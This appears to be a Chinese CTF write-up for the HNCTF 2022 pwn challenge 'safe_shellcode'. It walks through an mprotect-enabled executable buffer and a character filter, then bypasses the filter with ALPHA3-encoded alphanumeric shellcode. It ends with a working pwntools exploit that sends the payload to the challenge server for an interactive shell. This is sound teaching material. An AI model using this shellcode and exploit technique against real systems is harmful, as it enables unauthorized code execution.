Bootstrap

safe_shellcode

[HNCTF 2022 Week1]safe_shellcode

思路

下载附件,名称为shellcoder,很明显的shellcode提示。

判断题目解法可能是shellcode利用

常规流程查看保护
在这里插入图片描述
发现存在NX保护,但是让我们以shellcode的思路去解题,则可能存在修改权限的函数mprotect

ida打开分析

在这里插入图片描述在这里插入代码片

分析代码,发现存在一个mprotect函数修改区段权限为可读可写可执行。

read函数将输入写入局部变量s,之后存在条件判断如果存在指定ASCII码范围内的字符则退出。

查看ASCII码表
在这里插入图片描述

即限制范围为 /~z。

之后一个strcpy函数将局部变量中的数据复制进buff,并且将buff当作代码执行。

动态调试查看buff是否具有可执行权限。
在这里插入图片描述

发现mprotect函数将0x404000到0x405000之间修改为可读可写可执行。

ida查看发现buff变量存在与范围之间
在这里插入图片描述

则可以通过项局部变量中写入shellcode实现利用,但是我们必须绕过限制。

所以写入的shellcode字符必须在范围之间。

这里利用一个shellcode编码工具啊alpha3。

具体使用请参考这篇文章

手把手教你写纯字符ascii shellcode——最通俗易懂的alphanumeric shellcode生成指南_ascii可见shellcode-CSDN博客

alpha3

生成包含数字和大小写字母的shellcode

python ./ALPHA3.py x64 ascii mixedcase rax --input="shellcode"

结果:Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t

可以看到shellcode由数字和大小写字母组成,正好在限制范围内。

根据解题思路构造exploit

exp

from pwn import *

#io=process("./shellcoder")
io=remote("node5.anna.nssctf.cn",28258)
shellcode="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"                                                 
io.send(shellcode)
io.interactive()

总结

  • shellcode
  • shellcode编码
  • mprotect
;